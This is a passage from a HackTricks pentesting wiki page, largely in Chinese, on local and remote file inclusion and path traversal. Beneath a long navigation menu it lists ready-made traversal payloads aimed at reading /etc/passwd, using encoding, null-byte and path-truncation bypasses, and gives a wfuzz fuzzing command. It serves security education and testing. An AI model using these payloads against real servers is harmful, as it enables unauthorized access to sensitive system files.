hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 文件包含
  • 盲目 - 有趣 - LFI2RCE文件
  • Linux
  • Windows
  • OS X
  • 基本 LFI 和绕过
  • 非递归剥离的遍历序列
  • 空字节 (%00)
  • 编码
  • 从现有文件夹中
  • 探索服务器上的文件系统目录
  • 路径截断技术
  • 绕过过滤器的技巧
  • 远程文件包含
  • Python 根元素
  • Java列出目录
  • 前25个参数
  • 使用 PHP 包装器和协议的 LFI / RFI
  • php://filter
  • 使用php过滤器作为预言者读取任意文件
  • php://fd
  • zip:// 和 rar://
  • data://
  • expect://
  • 输入://
  • phar://
  • 更多协议
  • 通过 PHP 的 'assert' 进行 LFI
  • PHP盲目路径遍历
  • LFI2RCE
  • 远程文件包含
  • 通过Apache/Nginx日志文件
  • 通过电子邮件
  • 通过 /proc/*/fd/*
  • 通过 /proc/self/environ
  • 通过上传
  • 通过Zip文件上传
  • 通过 PHP 会话
  • 通过ssh
  • 通过 vsftpd 日志
  • 通过 php base64 过滤器(使用 base64)
  • 通过php过滤器(无需文件)
  • 通过分段错误
  • 通过Nginx临时文件存储
  • 通过PHP_SESSION_UPLOAD_PROGRESS
  • 通过Windows中的临时文件上传
  • 通过phpinfo()(file_uploads = on)
  • 通过compress.zlib + PHP_STREAM_PREFER_STUDIO + 路径泄露
  • 通过永久等待 + 暴力破解
  • 致命错误
  • 参考资料
  1. Pentesting Web

File Inclusion/Path traversal

上一页Email Injections下一页phar:// deserialization

最后更新于1年前

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

  • 如果您想看到您的公司在HackTricks中被广告或下载PDF格式的HackTricks,请查看!

  • 获取

  • 探索,我们的独家

  • 加入 💬 或 或 关注我们的Twitter 🐦 。

  • 通过向和 github仓库提交PR来分享您的黑客技巧。

黑客见解 参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解及时了解快节奏的黑客世界

最新公告 随时了解最新的赏金计划发布和重要平台更新

文件包含

远程文件包含(RFI): 从远程服务器加载文件(最佳:您可以编写代码,服务器将执行它)。在php中,默认情况下禁用此功能(allow_url_include)。 本地文件包含(LFI): 服务器加载本地文件。

当用户以某种方式控制即将由服务器加载的文件时,就会出现漏洞。

PHP函数中的漏洞:require、require_once、include、include_once

盲目 - 有趣 - LFI2RCE文件

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

混合了几个 *nix LFI 列表并添加了更多路径,我创建了这个列表:

也尝试将 / 更改为 \ 也尝试添加 ../../../../../

Windows

合并了不同的单词列表:

也尝试将 / 更改为 \ 也尝试删除 C:/ 并添加 ../../../../../

OS X

查看 Linux 的 LFI 列表。

基本 LFI 和绕过

所有示例都是关于本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。

http://example.com/index.php?page=../../../etc/passwd

非递归剥离的遍历序列

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

空字节 (%00)

绕过在提供的字符串末尾附加更多字符(绕过:$_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

这个问题自 PHP 5.4 起已解决

编码

您可以使用非标准编码,如双重 URL 编码(等等):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

从现有文件夹中

也许后端正在检查文件夹路径:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

探索服务器上的文件系统目录

可以通过使用特定技术递归地探索服务器的文件系统,以识别目录而不仅仅是文件。该过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目的的详细方法:

  1. 确定目录深度: 通过成功获取 /etc/passwd 文件(如果服务器基于Linux)来确定当前目录的深度。例如,URL可能结构如下,表示深度为三:

http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. 探测文件夹: 将疑似文件夹的名称(例如,private)附加到URL,然后导航回 /etc/passwd。额外的目录级别需要将深度增加一级:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 解释结果: 服务器的响应指示文件夹是否存在:

  • 错误 / 无输出: 文件夹 private 可能不存在于指定位置。

  • /etc/passwd 的内容: 确认存在 private 文件夹。

  1. 递归探索: 可以进一步使用相同技术或传统的本地文件包含(LFI)方法来探查已发现的文件夹是否有子目录或文件。

要在文件系统中不同位置探索目录,请相应调整有效载荷。例如,要检查 /var/www/ 是否包含 private 目录(假设当前目录深度为 3),请使用:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

路径截断技术

路径截断是一种用于操纵Web应用程序中文件路径的方法。通常用于访问受限文件,绕过某些在文件路径末尾附加额外字符的安全措施。其目标是构建一个文件路径,一旦被安全措施修改,仍然指向所需文件。

在PHP中,由于文件系统的特性,文件路径的各种表示可以被视为等效。例如:

  • /etc/passwd、/etc//passwd、/etc/./passwd 和 /etc/passwd/ 都被视为相同路径。

  • 当最后6个字符是 passwd 时,附加 /(变成 passwd/)不会改变目标文件。

  • 同样,如果在文件路径末尾添加 .php(如 shellcode.php),添加 /. 不会改变所访问的文件。

提供的示例演示了如何利用路径截断来访问 /etc/passwd,这是一个常见目标,因为其中包含敏感内容(用户帐户信息)。

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

在这些情况下,可能需要大约2027个遍历,但这个数字可能会根据服务器的配置而变化。

  • 使用点段和额外字符:遍历序列(../)与额外的点段和字符结合使用,可以用于导航文件系统,有效地忽略服务器附加的字符串。

  • 确定所需的遍历次数:通过试错,可以找到导航到根目录然后到/etc/passwd所需的精确数量的../序列,确保任何附加的字符串(如.php)被中和,但所需路径(/etc/passwd)保持完整。

